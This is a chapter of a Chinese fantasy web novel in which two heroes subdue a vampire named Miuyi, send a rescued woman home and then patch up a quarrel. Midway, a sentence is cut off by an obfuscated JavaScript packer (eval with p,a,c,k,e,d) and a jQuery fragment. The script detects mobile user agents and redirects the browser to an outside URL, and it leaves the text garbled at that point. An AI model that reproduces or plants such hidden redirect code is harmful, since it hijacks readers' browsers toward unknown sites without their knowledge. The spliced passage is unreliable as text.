而另一边,裴炤“抛弃”周于礼后,径直拦住那个佩戴勋章的斗篷人。
斗篷人一身漆黑,长长的拖尾,尖长的指甲令裴炤想起了一个在电影中才见过的物种。
吸血鬼。
裴炤目光落在他毫不掩饰的獠牙上,目光微动,试探着随口叫了一声:“德古拉?”
……
斗篷人动作明显一顿,裴炤心中一喜,就见他缓缓抬头,看向自己的目光不善:“你叫谁?”
裴炤心想,这也能瞎猫碰上死耗子?
于是他佯装淡定:“你,德古拉?”
斗篷人脸上的表情精彩纷呈,像生气,又像是有别的情绪。
裴炤以为他猜对了,可就在他努力回忆那些吸血鬼情节,想再说些什么的时候,就听到斗篷人突然冷笑了一声,怒吼道:“什么低贱的血统?!我,叫谬以——”
谬以?
裴炤摸不到头脑。
心说这是什么鬼名字,他闻所未闻。
自称谬以的人似乎坦然承认了自己吸血鬼的身份,这倒是令裴炤意外。他还以为那些吸血鬼像电影里说的一样,都是高贵且神秘的,有的会有些暴躁,像草原上的狼一样,一眼不合就撕咬对方。
但眼前这个谬以……看起来,虽然乍一看很凶猛渗人,但怎么越看越觉得,莫名有种幼稚感?
让裴炤想起了以前暑假帮忙带的亲戚家小孩。
“……你乖一点,哥哥给你买糖吃?”裴炤脑海中里莫名蹦出来这样一句话,他以前就是这么哄那些小朋友的,非常奏效。
可是谬以明显不吃这套,甚至在他说完后,表情又愤怒了几分,连眼睛都红了,“……你想死是不是?”
裴炤不明白,为什么一只吸血鬼要在这里搞什么规则类怪谈,而且看起来,他们甚至只是执行者——不然,按照他看过的小说,他们违反规则后应该立刻被一些超自然能量处死。
裴炤完全忘了,只是因为他们都具有超自然的能力,不然就会和徐珍一样,只能等待命运的处决。
谬以说着便朝他冲了过来,裴炤下意识扬起鞭子抵挡起来。他没学过什么体术,攻击和防御都是依靠本能,谬以进攻来势汹汹,不多时,裴炤就占了下风。
正当他觉得自己抵挡不了了的时候,突然脑后生风,下一刻,树藤牢牢缠住了谬以的手脚,将他向后拽!
裴炤知道是周于礼来了,转头看他:“周于礼!”
周于礼对他点头,手里还抱着一个短发的女人。
之所以知道是女人,是因为她的身材实在太纤细。若是男性,这样瘦的话一定会像骷髅一样丑陋,但因为是女孩,消瘦下来身材显得她像个没成年的少女。
她看起来已经失去意识了,裴炤注意到她的手腕,只有一个塑料的防走失环,除此之外空空荡荡。
裴炤了然,这位恐怕就是徐珍的姐姐了。
带着一个人,周于礼不好动手,裴炤只是回头确认了周于礼的情况,便立刻回神。这一次,因为谬以被困住,他轻易地操纵镜鞭把人缠绕起来。
尖锐的棱角扎进衣服,渗出鲜红血液,裴炤看着都于心不忍,谬以脸上却连半点痛苦的表情都没露出。
镜鞭被染红,裴炤对周于礼扬了扬下巴,周于礼立刻带着人回到玻璃仓,确认是姐妹后,把两人都送离园。
“你这样回去,真的可以吗?”徐珍问。
周于礼迈出去的脚步一顿,回头看她,只说:“你姐姐离不开你。”
徐珍看了他许久,最终只是对他深深鞠了一躬:“谢谢。”
周于礼“嗯”了一声,就离开了。
裴炤见周于礼一个人回来,没说什么。周于礼对他说:“这个怎么处理?”
裴炤对着另一个方向扬了扬下巴,白舟和蓝霁还打得热火朝天,那些人好像不知疲倦一样,哪怕被火烧成灰烬,也会不断重生。
“是因为你的缘故?”裴炤把目光落在双眼通红,苦苦挣扎的谬以身上。
分明全身几乎遍布伤口,却仍然满怀斗志,裴炤不能理解,为什么这人不能冷静些?
“像只发病了的狗。”裴炤丢下这样一句,看周于礼,“你来处理?”
周于礼微微颔首:“嗯。”
裴炤“哼”了一声,转身去帮白舟他们了。
“别妄想我会屈服!你,你们,都是一样的,愚蠢,低贱……你!”
周于礼听得不耐烦,扬手给了他一巴掌,谬以瞪大眼睛,满眼写着不敢置信。
谬以:“你打我?”
周于礼:“你很吵。”
谬以眼睛更红了:“你敢打我?你这种低贱的人,你……”
周于礼又扬起手。
谬以:“……你!”
周于礼没什么表情,这人相比他那个超雄的弟弟来说,真的太乖了,甚至骂来骂去都是些什么“低贱”“愚蠢”这种根本就无关痛痒的词语,没有一丁点杀伤力。
周于礼搔了搔耳朵,面上略显不耐:“别叫了,跟你商量件事情。”
谬以呲牙,但看到周于礼的手还是沉默了片刻,瞪着猩红的眼问道:“什么?”
周于礼语气略有不耐,他措辞道:“我放走了个人,需要找到另一个人补位,你来。”
谬以露出荒唐的神情:“你让我帮你忙?”
周于礼“啧”了一声,“怎么着,帮是不帮?不帮算了?”
他心想自己也是疯了,竟然想着让吸血鬼帮忙。他刚刚看到裴炤的表情,就知道自己不打招呼放走徐珍,让裴炤不高兴了,他得想办法弥补。身边一时只有这么个对象,竟然真的开口问了。
周于礼没想着谬以答应,见他看自己的眼神像看傻子,也不再想在这里浪费时间,抬手扬起树藤准备把人绑紧。
谬以显然会错了意,见周于礼抬手,他下意识闭眼一缩,胡乱叫唤着:“帮,我帮!别打我!”
周于礼收回手,有些疑惑:“帮?”
谬以连连点头,“我帮,你别再打我了。”
周于礼疑惑地看了看自己的手,“你经常挨打吗?”
谬以顿了顿,“怎,怎么可能,我可是堂堂谬以,怎么可能!”
周于礼一看就知他说谎,但没有多说什么,只“哦”了一声。
谬以说:“但是,我能不能有个请求?”
周于礼抬眼看他:“说。”
谬以:“……我希望你们能带我去见过哥哥,告诉他,你们是请我去帮忙的……”
“你还有哥哥?”
谬以点头:“嗯。他也是人类。”
这倒是意料之外的,周于礼挑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094751|163703||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眉:“人类?”
谬以的头低了下来:“他是我的哥哥,也是我的……饲主。”
饲主?
周于礼眼眸沉了沉,没再说什么。
·
这场战役一直持续到天光大亮,冉冉升起的红日将斗篷人们烤焦,化作一缕烟尘消失。
白舟和蓝霁打了个痛快,挽起袖子就想去干谬以。
“他会变成我们的木偶。”周于礼说。
白舟和蓝霁都露出意外的神情:“不是徐珍吗?”
“徐珍……”周于礼抿了抿唇,“我放走了。”
他去看裴炤,裴炤也正静静看着他,眼里没有责备,却叫他心里莫名发慌,周于礼有些心虚解释道:“她姐姐的情况,每人照顾的话,很难活下去。”
他这话是特意和裴炤解释的,但裴炤听到后却并没有反应,反而是白舟若有所思摸下巴。
“有道理,她姐姐那种情况……她姐姐什么情况来着?”
他忙着打架,根本没注意到这边的情况啊!
蓝霁看出周于礼和裴炤之间诡异的气氛,摇着头拍了一下白舟的肩膀,“别犯蠢了,殿下,我们去看看那边那只。”
二人走后,只剩下裴炤和周于礼了。
随着天亮起来,外面的嘈杂声也响起,裴炤经过一晚恶战与折磨,脸上有些憔悴,他把镜鞭用来绑谬以,刚刚的战斗中,他脸上受了点伤。
周于礼抬起手,蹭了蹭裴炤的脸:“痛吗?对不起。”
裴炤错开脸,微微低头,“又不是你伤的,倒什么歉?”
周于礼在他面前低下头:“我不该放走徐珍。”
“周于礼,放走徐珍没有问题,但你应该同我说的。”裴炤看他,眼神认真,“莫不是在你心里,我是那种不讲道理的人?”
“当然不是!”周于礼否认,“我只是……”
周于礼努力回想着自己是何时心态发生变化的,竟然追溯到裴炤噩梦醒来时,他错开自己的手,后来又带回了徐珍,同她说了那么多话,甚至还答应她帮她救姐姐。
但裴炤现在在同他生气,周于礼清楚,自己的情绪因裴炤而起,但绝对不是裴炤的问题。
“对不起,我吃醋了,我不喜欢她作你的木偶。”周于礼实话实说道。
“你!”裴炤瞪眼,他真没想到周于礼能这么坦诚,裴炤叹了口气,“我只是为了我们能活下去,这里这么危险,你知道我还做了噩梦!”
提起那个梦,裴炤就心有余悸。
“什么梦?”周于礼问,“你梦到了什么,醒来后就不让我碰了。”
裴炤简直无语,这人怎么能这么小心眼,“我梦到你们要杀我,不是不让你碰,只是醒来的时候,我还没分清现实还是梦境,万一你们又要杀我呢?”
周于礼摇头:“我不会杀你。”
裴炤气笑了,“我都说了是梦!那是梦!”
周于礼不说话了,两人站了一会,周于礼又问:“那你原谅我了吗?”
裴炤束手无策了,他拍拍周于礼的后背,有气无力道:“原谅,原谅你了。”
周于礼又不放心地保证:“我保证下次一定会和你商量的。”
“好……”
裴炤彻底说不出话了,他以前怎么没发现,周于礼这么……倔强。